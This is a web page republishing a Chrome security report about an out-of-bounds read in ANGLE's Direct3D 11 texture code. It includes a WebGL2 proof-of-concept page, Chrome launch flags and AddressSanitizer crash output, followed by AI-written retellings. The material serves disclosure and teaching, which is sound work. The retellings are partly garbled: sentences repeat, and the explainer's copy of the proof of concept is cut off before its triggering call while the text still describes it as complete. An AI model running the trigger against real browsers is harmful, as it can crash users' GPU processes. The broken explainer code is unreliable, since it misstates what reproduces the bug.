Skip to content
Memory corruption Advisory Advanced CVE-2026-78989

Out of bounds read in ANGLE (CVE-2026-78989)

A heap-buffer-overflow occurs in ANGLE's D3D11 backend when a stale non-base mip level with a different format and smaller dimensions is followed by a larger base level and generateMipmap. An attacker could trigger an out-of-bounds read in the GPU process via WebGL2, though no write or web-observable leak was demonstrated.

Đặng Thế Tuyến Follow

Originally disclosed on Chrome VRP

Bounty$1,000 High View original
  • Fix shipped in 48 days

Steps to reproduce the problem

ENVIRONMENT

  • Windows x64, Chrome ASAN build (repro'd on 152.0.7925.0).
  • ANGLE D3D11 WARP device. On a GPU-less host (VPS / VDI / RDP / Windows Server / container) --use-angle=d3d11 selects WARP automatically, so this is the default config there. To force it on a machine that has a GPU, use --use-angle=d3d11-warp.
  1. Save this as poc.html (also attached):
<!doctype html><meta charset="utf-8"><canvas id="c"></canvas><script>

const gl = document.getElementById("c").getContext("webgl2"); const tex = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, tex); // stale non-base level, small, different format gl.texImage2D(gl.TEXTURE_2D, 1, gl.R8, 2, 16, 0, gl.RED, gl.UNSIGNED_BYTE, null); // larger base level, different format -> native storage is built from this gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, 16, 128, 0, gl.RGBA, gl.UNSIGNED_BYTE, null); // build storage + robust-init the stale L1 image into the larger storage L1 gl.generateMipmap(gl.TEXTURE_2D); gl.finish(); </script>

  1. Launch the ASAN build, forcing the WARP device:

chrome.exe --headless=new --no-sandbox --use-angle=d3d11-warp ^ --enable-logging=stderr --v=0 "file:///C:/path/to/poc.html"

(On a GPU-less host, --use-angle=d3d11 or simply opening the page works.)

RESULT The GPU process aborts with AddressSanitizer: heap-buffer-overflow inside D3D10Warp.dll, called from: rx::TextureStorage11::setData TextureStorage11.cpp:891 (UpdateSubresource) rx::TextureD3D::initializeContents TextureD3D.cpp:969 (robust resource init) gl::Texture::ensureInitialized Texture.cpp:2569 gl::Texture::syncState Texture.cpp:2457 gl::Texture::generateMipmap Texture.cpp:1982 The overflowed buffer is the zero-fill buffer allocated by gl::Context::getZeroFilledBuffer (TextureD3D.cpp:965), sized from the stale level-1 IMAGE (R8 2x16 = 32 bytes); the full-subresource UpdateSubresource then reads it as the STORAGE level-1 (RGBA8 8x64 = 2048 bytes) -> reads past the buffer.

CONTROL (confirms the cause) Removing the first texImage2D call (the stale level-1 image) — i.e. just the base level + generateMipmap — runs cleanly with no overflow.

RELIABILITY Highly reliable. A fuzzing run on a GPU-less VPS produced 48 crashes (one per ~150 random seeds), all deduping to this single call path.

NOTES

  • Triggered purely from WebGL2 (no special content flags).
  • This is the D3D11 counterpart of the Metal issue chromium:499006005 ("Treat glGenerateMipmap as an image redefinition"); that fix was Metal-only.
  • On discrete-GPU D3D11 the same undersized upload happens but is serviced via the driver/DMA and is not ASAN-instrumented, so it is not observable there; the under-sizing itself is in ANGLE and is backend-common.

Problem Description

A web page can trigger a heap-buffer-overflow in the GPU process with three WebGL2 calls (texImage2D, texImage2D, generateMipmap) on ANGLE's Direct3D 11 backend. This is the D3D11 counterpart of chromium:499006005 ("Metal: Treat glGenerateMipmap as an image redefinition"); that fix touched only the Metal backend, and the same image-vs-native-storage size desync is present, unguarded, in D3D11. ROOT CAUSE During robust resource initialization, ANGLE sizes the zero-fill source buffer from a texture level's IMAGE dimensions, but uploads it with a full-subresource UpdateSubresource (pDstBox = NULL), which fills the entire native STORAGE subresource, whose dimensions are derived from the base level. TextureD3D::initializeContents (src/libANGLE/renderer/d3d/TextureD3D.cpp) computeRowPitch(type, image->getWidth(), 1, 0, &imageBytes); // :952 IMAGE dims imageBytes *= image->getHeight() * image->getDepth(); // :955-958 context->getZeroFilledBuffer(imageBytes, &zeroBuffer); // :965 image-sized buffer mTexStorage->setData(context, index, image, nullptr, ..., zeroBuffer->data()); // :969 TextureStorage11::setData (src/libANGLE/renderer/d3d/d3d11/TextureStorage11.cpp) levelBox = { getLevelWidth(level), getLevelHeight(level), ... }; // :804 STORAGE dims fullUpdate = (destBox == nullptr || *destBox == levelBox); // :806 width = destBox ? destBox->width : image->getWidth(); // :817 IMAGE dims computeRowDepthSkipBytes(type, width, height, ...) -> srcRowPitch // :824 UpdateSubresource(resource, destSubresource, /pDstBox=/nullptr, data, ...);// :891 For robust init destBox is null, so UpdateSubresource fills the whole storage subresource (storage-level dims) while the source buffer/pitch were computed from the image dims. When a non-base level holds a stale image smaller than the geometric storage level — a state reachable through ordinary texture redefinition followed by generateMipmap — Direct3D accesses the source beyond its allocated size. Minimal trigger: texImage2D(level 1, R8, 2x16); texImage2D(level 0, RGBA8, 16x128); generateMipmap. generateMipmap builds storage from base level 0 (storage level 1 = RGBA8 8x64 = 2048 bytes); robust init sizes the zero buffer from the stale level-1 image (R8 2x16 = 32 bytes); UpdateSubresource then processes it as the 2048-byte storage level. Removing the stale level-1 image runs clean (control). REACHABILITY

  • Pure WebGL2, no special content flags.
  • Manifests on the D3D11 WARP device. On GPU-less Windows hosts (VPS, cloud, VDI, RDP, Windows Server, containers) --use-angle=d3d11 (the default) selects WARP automatically, so this is the default configuration for that population.
  • On discrete-GPU D3D11 the same undersized upload occurs but is serviced by the driver/DMA and is not ASAN-instrumented, so it is not observable there; the under-sizing is in ANGLE and is backend-common.

IMPACT AddressSanitizer reports a heap-buffer-overflow reaching D3D10Warp.dll from TextureStorage11::setData during generateMipmap. I observed an out-of-bounds read; I did not construct an out-of-bounds write or a web-observable info leak, but I have not ruled out higher-impact variants of this desync and defer the severity assessment to the ANGLE/security team — particularly given that the Metal sibling (chromium:499006005) was rated High.

Summary

Heap-buffer-overflow in ANGLE D3D11 TextureStorage11::setData during glGenerateMipmap

Custom Questions

Type of crash:

GPU process

Crash state:

==9144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x11af79f21900 at pc 0x7ffb8b26b878 bp 0x00082b5fced0 sp 0x00082b5fcf18 READ of size 16 at 0x11af79f21900 thread T0 [10032:12452:0709/070935.518:INFO:CONSOLE:36] "TEXFUZZ_RENDERER ANGLE (Microsoft, Microsoft Basic Render Driver (0x0000008C) Direct3D11 vs_5_0 ps_5_0, D3D11)", source: file:///C:/chrome/fuzz/angle_texfuzz.html?start=900&count=150 (36) #0 0x7ffb8b26b877 (C:\chrome\asan\build\clang_rt.asan_dynamic-x86_64.dll+0x18004b877) #1 0x7ffbeb7f6a2d (C:\Windows\SYSTEM32\d3d10warp.dll+0x1800e6a2d) #2 0x7ffbeb7b75d0 (C:\Windows\SYSTEM32\d3d10warp.dll+0x1800a75d0) #3 0x7ffbeb77919d (C:\Windows\SYSTEM32\d3d10warp.dll+0x18006919d) #4 0x7ffbef059a40 (C:\Windows\SYSTEM32\d3d11.dll+0x180129a40) #5 0x7ffbef05f9c2 (C:\Windows\SYSTEM32\d3d11.dll+0x18012f9c2) #6 0x7ffb47af11a0 in rx::TextureStorage11::setData(class gl::Context const *, class gl::ImageIndex const &, class rx::ImageD3D *, struct gl::Box const *, unsigned int, struct gl::PixelUnpackState const &, unsigned char const *) C:\b\s\w\ir\cache\builder\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\TextureStorage11.cpp:891:27

#44 0x7ffb61b42935 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, class base::TimeDelta) C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:660:12

SUMMARY: AddressSanitizer: heap-buffer-overflow (C:\Windows\SYSTEM32\d3d10warp.dll+0x1800e6a2d) Shadow bytes around the buggy address: 0x11af79f21680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x11af79f21700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x11af79f21780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x11af79f21800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x11af79f21880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x11af79f21900:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x11af79f21980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x11af79f21a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x11af79f21a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x11af79f21b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x11af79f21b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb

==9144==ADDITIONAL INFO

==9144==Note: Please include this section with the ASan report. Task trace: #0 0x7ffb49468f35 in gpu::Scheduler::RunNextTask(void) C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler.cc:654:27 #1 0x7ffb49463abb in gpu::Scheduler::TryScheduleSequence(class gpu::Scheduler::Sequence *) C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler.cc:439:29

Command line: "C:\chrome\asan\build\chrome.exe" --type=gpu-process --no-sandbox --headless=new --use-angle=d3d11 --noerrdialogs --user-data-dir="C:\chrome\asan\udd_texfuzz_d3d11_12912" --disable-breakpad --no-pre-read-main-dll --force-high-res-timeticks=disabled --start-stack-profiler --gpu-preferences=WAAAAAAAAADoAQAMAAAAAAAAAAAAAMAAQAAAAAAAAAADAAAAAAAAADgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAKAAAAAAAAAAoAAAAAAAAAAgAAAAAAAAAEAAAAAIAAAABAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --field-trial-handle=1960,i,10161796873122917280,11239096732217716668,262144 --disable-features=DialMediaRouteProvider,PaintHolding --variations-seed-version --pseudonymization-salt-handle=2088,i,8754868003409616518,10254790157041011126,4 --trace-process-track-uuid=3190708988185955192 --enable-logging=stderr --v=0 --mojo-platform-channel-handle=1864 /prefetch:2 --no-first-run

==9144==END OF ADDITIONAL INFO

==9144==ABORTING

Reporter credit:

Đặng Thế Tuyến

Additional Data

Category: Security
Chrome Channel: Not sure
Regression: N/A \

The original report as published on the Chromium issue tracker, by Đặng Thế Tuyến. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

ANGLE is the translation layer Chrome uses to run WebGL on top of native graphics APIs, and on Windows the Direct3D 11 backend is the usual path. This report concerns a heap-buffer-overflow in the GPU process that a web page can reach with three ordinary WebGL2 calls: two texImage2D calls followed by generateMipmap. The crash is an out-of-bounds read inside D3D10Warp.dll, reached from rx::TextureStorage11::setData while ANGLE performs robust resource initialisation.

The researcher describes it as the D3D11 counterpart of an earlier Metal issue, chromium:499006005 ("Metal: Treat glGenerateMipmap as an image redefinition"). That fix touched only the Metal backend, and the same image-versus-native-storage size desync is present, unguarded, in D3D11.

Setup

The environment was Windows x64 with a Chrome ASAN build, reproduced on 152.0.7925.0, using the ANGLE D3D11 WARP device. On a host without a GPU (VPS, VDI, RDP, Windows Server, container), --use-angle=d3d11 selects WARP automatically, so this is the default configuration for that population. On a machine that does have a GPU, the WARP device can be forced with --use-angle=d3d11-warp.

No accounts, roles or special content flags are involved. The trigger is pure WebGL2.

Finding it

A fuzzing run on a GPU-less VPS produced 48 crashes, roughly one per 150 random seeds, all deduping to a single call path. A run produced 48 crashes, roughly one per 150 random seeds, all deduping to a single call path. The ASAN report showed a heap-buffer-overflow in D3D10Warp.dll reached from rx::TextureStorage11::setData at TextureStorage11.cpp:891, the UpdateSubresource call, with the stack passing through robust resource initialisation:

Text
rx::TextureStorage11::setData            TextureStorage11.cpp:891 (UpdateSubresource)
rx::TextureD3D::initializeContents       TextureD3D.cpp:969        (robust resource init)
gl::Texture::ensureInitialized           Texture.cpp:2569
gl::Texture::syncState                    Texture.cpp:2457
gl::Texture::generateMipmap               Texture.cpp:1982

The overflowed buffer is the zero-fill buffer allocated by gl::Context::getZeroFilledBuffer (TextureD3D.cpp:965), sized from the stale level-1 image (R8 2x16 = 32 bytes). The full-subresource UpdateSubresource then reads it as the storage level-1 (RGBA8 8x64 = 2048 bytes), reading past the end of the buffer. The mismatch between the dimensions used to size the source and the dimensions used to fill the destination is the cause of the over-read.

Exploitation

Step 1: the proof of concept page

The researcher saved the following as poc.html:

HTML
<!doctype html><meta charset="utf-8"><canvas id="c"></canvas><script>
const gl  = document.getElementById("c").getContext("webgl2");
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
// stale non-base level, small, different format
gl.texImage2D(gl.TEXTURE_2D, 1, gl.R8,    2,  16,  0, gl.RED,  gl.UNSIGNED_BYTE, null);
// larger base level, different format -> native storage is built from this
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, 16, 128, 0, gl.RGBA, gl.UNSIGNED_BYTE, null);
// build storage + robust-init the stale L1 image into the larger storage L1
gl.generateMipmap(gl.TEXTURE_2D);
gl.finish();
</script>

The first texImage2D defines level 1 as a small R8 image, 2 by 16. The second defines level 0 as a larger RGBA8 image, 16 by 128, and native storage is built from this base level. generateMipmap then builds the storage and robust-initialises the stale level-1 image into the larger storage level 1.

Step 2: launch the ASAN build

The page was opened with the WARP device forced:

Bash
chrome.exe --headless=new --no-sandbox --use-angle=d3d11-warp ^
  --enable-logging=stderr --v=0 "file:///C:/path/to/poc.html"

On a GPU-less host, --use-angle=d3d11 or simply opening the page works.

Step 3: observe the crash

The GPU process aborts with an AddressSanitizer heap-buffer-overflow. The reported crash state begins:

Text
==9144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x11af79f21900 at pc 0x7ffb8b26b878 bp 0x00082b5fced0 sp 0x00082b5fcf18
READ of size 16 at 0x11af79f21900 thread T0
[10032:12452:0709/070935.518:INFO:CONSOLE:36] "TEXFUZZ_RENDERER ANGLE (Microsoft, Microsoft Basic Render Driver (0x0000008C) Direct3D11 vs_5_0 ps_5_0, D3D11)", source: file:///C:/chrome/fuzz/angle_texfuzz.html?start=900&count=150 (36)
    #0 0x7ffb8b26b877  (C:\chrome\asan\build\clang_rt.asan_dynamic-x86_64.dll+0x18004b877)
    #1 0x7ffbeb7f6a2d  (C:\Windows\SYSTEM32\d3d10warp.dll+0x1800e6a2d)
    #2 0x7ffbeb7b75d0  (C:\Windows\SYSTEM32\d3d10warp.dll+0x1800a75d0)
    #3 0x7ffbeb77919d  (C:\Windows\SYSTEM32\d3d10warp.dll+0x18006919d)
    #4 0x7ffbef059a40  (C:\Windows\SYSTEM32\d3d11.dll+0x180129a40)
    #5 0x7ffbef05f9c2  (C:\Windows\SYSTEM32\d3d11.dll+0x18012f9c2)
    #6 0x7ffb47af11a0 in rx::TextureStorage11::setData(class gl::Context const *, class gl::ImageIndex const &, class rx::ImageD3D *, struct gl::Box const *, unsigned int, struct gl::PixelUnpackState const &, unsigned char const *) C:\b\s\w\ir\cache\builder\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\TextureStorage11.cpp:891:27

The console line shows the renderer string reported by ANGLE: Microsoft Basic Render Driver over Direct3D11. The ASAN summary names d3d10warp.dll as the faulting module, and the shadow bytes around the buggy address show the heap redzone (fa) immediately after the accessible region.

Step 4: control

Removing the first texImage2D call, the stale level-1 image, so that only the base level plus generateMipmap remains, runs cleanly with no overflow. This confirms the stale non-base level is the cause.

Root cause

During robust resource initialisation, ANGLE sizes the zero-fill source buffer from a texture level's image dimensions, but uploads it with a full-subresource UpdateSubresource (pDstBox = NULL), which fills the entire native storage subresource, whose dimensions are derived from the base level.

In TextureD3D::initializeContents (src/libANGLE/renderer/d3d/TextureD3D.cpp):

Text
computeRowPitch(type, image->getWidth(), 1, 0, &imageBytes);   // :952 IMAGE dims
imageBytes *= image->getHeight() * image->getDepth();          // :955-958
context->getZeroFilledBuffer(imageBytes, &zeroBuffer);         // :965 image-sized buffer
mTexStorage->setData(context, index, image, nullptr, ..., zeroBuffer->data()); // :969

In TextureStorage11::setData (src/libANGLE/renderer/d3d/d3d11/TextureStorage11.cpp):

Text
levelBox = { getLevelWidth(level), getLevelHeight(level), ... };            // :804 STORAGE dims
fullUpdate = (destBox == nullptr || *destBox == levelBox);                  // :806
width  = destBox ? destBox->width  : image->getWidth();                     // :817 IMAGE dims
computeRowDepthSkipBytes(type, width, height, ...) -> srcRowPitch           // :824
UpdateSubresource(resource, destSubresource, /*pDstBox=*/nullptr, data, ...);// :891

For robust init destBox is null, so UpdateSubresource fills the whole storage subresource, using storage-level dimensions, while the source buffer and pitch were computed from the image dimensions. When a non-base level holds a stale image smaller than the geometric storage level, a state reachable through ordinary texture redefinition followed by generateMipmap, Direct3D accesses the source beyond its allocated size.

The minimal trigger is texImage2D(level 1, R8, 2x16), then texImage2D(level 0, RGBA8, 16x128), then generateMipmap. generateMipmap builds storage from base level 0, so storage level 1 is RGBA8 8x64 = 2048 bytes. Robust init sizes the zero buffer from the stale level-1 image, R8 2x16 = 32 bytes, and UpdateSubresource then processes it as the 2048-byte storage level.

Impact

AddressSanitizer reports a heap-buffer-overflow reaching D3D10Warp.dll from TextureStorage11::setData during generateMipmap. The researcher observed an out-of-bounds read, and did not construct an out-of-bounds write or a web-observable info leak, but has not ruled out higher-impact variants of this desync. Severity assessment was deferred to the ANGLE and security team, particularly given that the Metal sibling, chromium:499006005, was rated High.

The crash manifests on the D3D11 WARP device, which is the default on GPU-less Windows hosts: VPS, cloud, VDI, RDP, Windows Server and containers. On discrete-GPU D3D11 the same undersized upload occurs but is serviced by the driver and DMA and is not ASAN-instrumented, so it is not observable there. The under-sizing itself is in ANGLE and is backend-common.

Fix

No fix is described in the report. The report notes that the earlier Metal fix for chromium:499006005 was Metal-only, and that the same desync remains unguarded in D3D11. The report does not describe a fix.

Variants to test

  1. Other backends that share the image-versus-storage sizing logic. A positive result is an ASAN heap-buffer-overflow in the backend's upload path during generateMipmap after a stale non-base level is defined.
  2. Other texture redefinition sequences, for example a stale level with a different format or depth than the base level. A positive result is the same TextureStorage11::setData frame with a source buffer smaller than the storage subresource.
  3. Other entry points that trigger robust resource initialisation on a texture with stale levels, such as texSubImage2D or copy operations. A positive result is an out-of-bounds read reported by ASAN at the corresponding UpdateSubresource call.
  4. The same pattern on GPU-less hosts with the default --use-angle=d3d11, without forcing WARP. A positive result is the same crash, confirming the default configuration is affected.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 20 min read.

What happened, in plain words

A web page can make Chrome's graphics helper process crash by asking it to do three ordinary drawing-related operations in a particular order. The crash is not a normal error message: it is a memory safety bug, meaning the program reads data from a place in memory it was never supposed to touch. A fuzzing run on a machine without a graphics card produced 48 crashes, all deduping to a single call path. The report explains exactly which three calls cause it, why the program's internal bookkeeping goes wrong, and what the crash output looks like.

Before the details, a few ideas from zero.

WebGL is a way for a web page to draw 3D and 2D graphics using the computer's graphics hardware, through JavaScript. You have probably seen it in browser games and 3D product viewers. The page does not talk to the graphics card directly; it goes through the browser.

ANGLE is the translation layer Chrome uses to run WebGL on top of the native graphics interfaces of the operating system. Think of it as an interpreter: the web page speaks WebGL, the operating system's graphics system speaks something else (on Windows, usually Direct3D 11), and ANGLE translates between them. When something goes wrong deep in the graphics stack, ANGLE is often where the bug lives.

Direct3D 11 (D3D11) is Microsoft's graphics programming interface on Windows. WARP is a software version of it: instead of using a real graphics card, the computer does the drawing work on the CPU. WARP is what you get on machines with no usable GPU, such as virtual private servers, remote desktops and containers.

GPU process is a separate process Chrome uses to talk to the graphics system. Browsers split work into processes so that a crash or a security problem in one part does not take down everything, and so that a compromised page has a harder time reaching the rest of the system. A crash in the GPU process shows up as a graphics failure, not as the whole browser vanishing.

Heap is the area of memory a program uses for data whose size is decided while it runs. A heap-buffer-overflow means the program reads or writes past the end of a chunk of heap memory. Reading past the end is an out-of-bounds read: the program looks at memory that belongs to something else. Writing past the end is an out-of-bounds write, which is usually more dangerous. This report is about a read.

AddressSanitizer (ASAN) is a debugging tool built into special test versions of Chrome. It watches memory accesses and shouts loudly, with a detailed report, the moment a program steps outside a buffer. Normal Chrome builds do not have it; the researcher used an ASAN build so the bug would be visible instead of silently doing something odd.

Fuzzing means feeding a program large numbers of random or semi-random inputs and watching for crashes. It is how a lot of memory bugs are found: nobody writes the crashing input by hand, the fuzzer stumbles on it.

Robust resource initialisation (robust init) is a safety measure in graphics code. When the program creates a texture, it fills it with zeros first, so that if anything reads the texture before real data is written, it gets harmless zeros rather than leftover memory contents. That zero-filling is exactly where this bug happens.

Context

ANGLE is the translation layer Chrome uses to run WebGL on top of native graphics APIs, and on Windows the Direct3D 11 backend is the usual path. This report concerns a heap-buffer-overflow in the GPU process that a web page can reach with three ordinary WebGL2 calls: two texImage2D calls followed by generateMipmap. The crash is an out-of-bounds read inside D3D10Warp.dll, reached from rx::TextureStorage11::setData while ANGLE performs robust resource initialisation.

The researcher describes it as the D3D11 counterpart of an earlier Metal issue, chromium:499006005 ("Metal: Treat glGenerateMipmap as an image redefinition"). That fix touched only the Metal backend, and the same image-versus-native-storage size desync is present, unguarded, in D3D11.

A few more terms from that paragraph. WebGL2 is the second, more capable version of WebGL. A backend is the part of a piece of software that talks to one particular underlying system: ANGLE has a Direct3D 11 backend for Windows, a Metal backend for Apple systems, and others. Metal is Apple's graphics interface, so the earlier bug was the same kind of problem on Macs and iPhones. A desync here means two parts of the program disagree about a size: one part thinks a texture level is small, another thinks it is large. The earlier fix only covered the Apple path, leaving the Windows path with the same disagreement.

Setup

The environment was Windows x64 with a Chrome ASAN build, reproduced on 152.0.7925.0, using the ANGLE D3D11 WARP device. On a host without a GPU (VPS, VDI, RDP, Windows Server, container), --use-angle=d3d11 selects WARP automatically, so this is the default configuration for that population. On a machine that does have a GPU, the WARP device can be forced with --use-angle=d3d11-warp.

No accounts, roles or special content flags are involved. The trigger is pure WebGL2.

Some of those environment words deserve a line each. Windows x64 is the 64-bit version of Windows. 152.0.7925.0 is the Chrome version the researcher reproduced on. A VPS is a virtual private server, a rented machine in a data centre. VDI is virtual desktop infrastructure, where your desktop runs on a server somewhere. RDP is Remote Desktop Protocol, Windows' way of showing you a remote machine's screen. A container is a lightweight isolated environment for running software. All of these commonly have no real graphics card, which is why WARP matters: it is the fallback that makes graphics work anyway.

The command-line flags are switches you add when starting Chrome. --use-angle=d3d11 tells Chrome to use the Direct3D 11 backend; on a machine without a GPU that automatically means WARP. --use-angle=d3d11-warp forces the software WARP device even on a machine that has a real graphics card, which forces the software WARP device even on a machine that has a real graphics card.. Content flags are browser settings that change how web content behaves; the point here is that none were needed, so any page could do this.

Finding it

A fuzzing run on a GPU-less VPS produced 48 crashes, roughly one per 150 random seeds, all deduping to a single call path. A run produced 48 crashes, roughly one per 150 random seeds, all deduping to a single call path. The ASAN report showed a heap-buffer-overflow in D3D10Warp.dll reached from rx::TextureStorage11::setData at TextureStorage11.cpp:891, the UpdateSubresource call, with the stack passing through robust resource initialisation:

Text
rx::TextureStorage11::setData            TextureStorage11.cpp:891 (UpdateSubresource)
rx::TextureD3D::initializeContents       TextureD3D.cpp:969        (robust resource init)
gl::Texture::ensureInitialized           Texture.cpp:2569
gl::Texture::syncState                    Texture.cpp:2457
gl::Texture::generateMipmap               Texture.cpp:1982

This block is a stack trace, a list of the function calls that were active when the crash happened, innermost first. Read it from the bottom up to follow the story:

  • gl::Texture::generateMipmap is the WebGL call the page made. Mipmaps are smaller copies of a texture, generated automatically so that distant objects look right without shimmering. generateMipmap asks the browser to build them.
  • gl::Texture::syncState and gl::Texture::ensureInitialized are internal steps that bring the texture's state up to date and make sure it has been initialised.
  • rx::TextureD3D::initializeContents is the robust-init step: filling the texture with zeros.
  • rx::TextureStorage11::setData is where the data is actually handed to Direct3D, through a call named UpdateSubresource.

The overflowed buffer is the zero-fill buffer allocated by gl::Context::getZeroFilledBuffer (TextureD3D.cpp:965), sized from the stale level-1 image (R8 2x16 = 32 bytes). The full-subresource UpdateSubresource then reads it as the storage level-1 (RGBA8 8x64 = 2048 bytes), reading past the end of the buffer. The mismatch between the dimensions used to size the source and the dimensions used to fill the destination is the cause of the over-read.

To unpack that: a texture is an image stored in graphics memory. Textures have levels: level 0 is the full-size image, level 1 is half the width and height, level 2 a quarter, and so on. That chain of shrinking copies is the mipmap chain. Each level also has a format, which describes how each pixel is stored: R8 means one 8-bit red channel per pixel, RGBA8 means four 8-bit channels (red, green, blue, alpha) per pixel. So an R8 image of 2 by 16 pixels is 32 bytes, while an RGBA8 image of 8 by 64 pixels is 2048 bytes. The zero-fill buffer was made for the small one and then read as if it were the large one.

Exploitation

Step 1: the proof of concept page

The researcher saved the following as poc.html:

HTML
<!doctype html><meta charset="utf-8"><canvas id="c"></canvas><script>
const gl  = document.getElementById("c").getContext("webgl2");
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
// stale non-base level, small, different format
gl.texImage2D(gl.TEXTURE_2D, 1, gl.R8,    2,  16,  0, gl.RED,  gl.UNSIGNED_BYTE, null);
// larger base level, different format -> native storage is built from this
</script>

Line by line:

  • <!doctype html><meta charset="utf-8"> is the standard opening of an HTML page, declaring it as HTML and setting the character encoding to UTF-8.
  • <canvas id="c"></canvas> puts an empty drawing surface on the page and gives it the name c. A canvas is the HTML element that graphics APIs draw into.
  • <script> starts the JavaScript.
  • const gl = document.getElementById("c").getContext("webgl2"); finds the canvas and asks it for a WebGL2 context. A context is the object through which all drawing calls are made; think of it as the handle to the drawing surface.
  • const tex = gl.createTexture(); creates an empty texture object. Nothing is stored in it yet; it is just a name the program can refer to.
  • gl.bindTexture(gl.TEXTURE_2D, tex); makes that texture the current one for 2D textures, so the following calls apply to it. Binding is how these APIs say "operate on this object now".
  • The first texImage2D call defines level 1 of the texture: gl.R8 format, 2 by 16 pixels, with gl.RED and gl.UNSIGNED_BYTE describing the data layout, and null meaning no pixel data is supplied. The comment calls it a "stale non-base level": it is not the full-size level, and it will later be left over from an earlier definition.
  • The second texImage2D call defines level 0, the base level, as a larger gl.RGBA8 image, 16 by 128 pixels. The comment notes that the native storage, the real memory the graphics system allocates, is built from this base level.

The order matters. Defining a small level 1 first and then a larger level 0 leaves the two descriptions disagreeing, and that disagreement is the bug.

Step 2: launch the ASAN build

The page was opened with the WARP device forced:

Bash
chrome.exe --headless=new --no-sandbox --use-angle=d3d11-warp ^
  --enable-logging=stderr --v=0 "file:///C:/path/to/poc.html"
  • chrome.exe is the browser executable.
  • --headless=new runs Chrome without showing a window, which is convenient for automated testing.
  • --no-sandbox turns off Chrome's process sandbox. The sandbox is a security boundary that restricts what a process can do; test setups often disable it so the debugger and ASAN can work.
  • --use-angle=d3d11-warp forces the software Direct3D 11 device, so the bug appears even on a machine with a real graphics card.
  • --enable-logging=stderr sends Chrome's log output to the terminal, and --v=0 sets the log verbosity.
  • The ^ at the end of the first line is the Windows command prompt's way of continuing a command on the next line.
  • "file:///C:/path/to/poc.html" is the local file to open, written as a file:// URL.

On a GPU-less host, --use-angle=d3d11 or simply opening the page works.

Step 3: observe the crash

The GPU process aborts with an AddressSanitizer heap-buffer-overflow. The reported crash state begins:

Text
==9144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x11af79f21900 at pc 0x7ffb8b26b878 bp 0x00082b5fced0 sp 0x00082b5fcf18
READ of size 16 at 0x11af79f21900 thread T0
[10032:12452:0709/070935.518:INFO:CONSOLE:36] "TEXFUZZ_RENDERER ANGLE (Microsoft, Microsoft Basic Render Driver (0x0000008C) Direct3D11 vs_5_0 ps_5_0, D3D11)", source: file:///C:/chrome/fuzz/angle_texfuzz.html?start=900&count=150 (36)
    #0 0x7ffb8b26b877  (C:\chrome\asan\build\clang_rt.asan_dynamic-x86_64.dll+0x18004b877)
    #1 0x7ffbeb7f6a2d  (C:\Windows\SYSTEM32\d3d10warp.dll+0x1800e6a2d)
    #2 0x7ffbeb7b75d0  (C:\Windows\SYSTEM32\d3d10warp.dll+0x1800a75d0)
    #3 0x7ffbeb77919d  (C:\Windows\SYSTEM32\d3d10warp.dll+0x18006919d)
    #4 0x7ffbef059a40  (C:\Windows\SYSTEM32\d3d11.dll+0x180129a40)
    #5 0x7ffbef05f9c2  (C:\Windows\SYSTEM32\d3d11.dll+0x18012f9c2)
    #6 0x7ffb47af11a0 in rx::TextureStorage11::setData(class gl::Context const *, class gl::ImageIndex const &, class rx::ImageD3D *, struct gl::Box const *, unsigned int, struct gl::PixelUnpackState const &, unsigned char const *) C:\b\s\w\ir\cache\builder\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\TextureStorage11.cpp:891:27

What each part says:

  • ==9144==ERROR: AddressSanitizer: heap-buffer-overflow is ASAN announcing the kind of problem. The 9144 is the process identifier.
  • on address 0x11af79f21900 is the memory address involved, and pc, bp, sp are the program counter, base pointer and stack pointer, processor registers that record where execution was.
  • READ of size 16 means the program tried to read 16 bytes at once from that address, and the read went outside the buffer.
  • The INFO:CONSOLE line is a message the page itself logged. It shows the renderer string reported by ANGLE: Microsoft Basic Render Driver, which is the WARP software device, running over Direct3D11. The line shows the renderer string reported by ANGLE.
  • The numbered #0 to #6 lines are the stack trace. #0 is inside ASAN's own runtime, #1 to #3 are inside d3d10warp.dll (the software renderer), #4 and #5 are inside d3d11.dll (the Direct3D interface), and #6 is ANGLE's TextureStorage11::setData at TextureStorage11.cpp:891. The addresses and offsets are just locations inside those files.

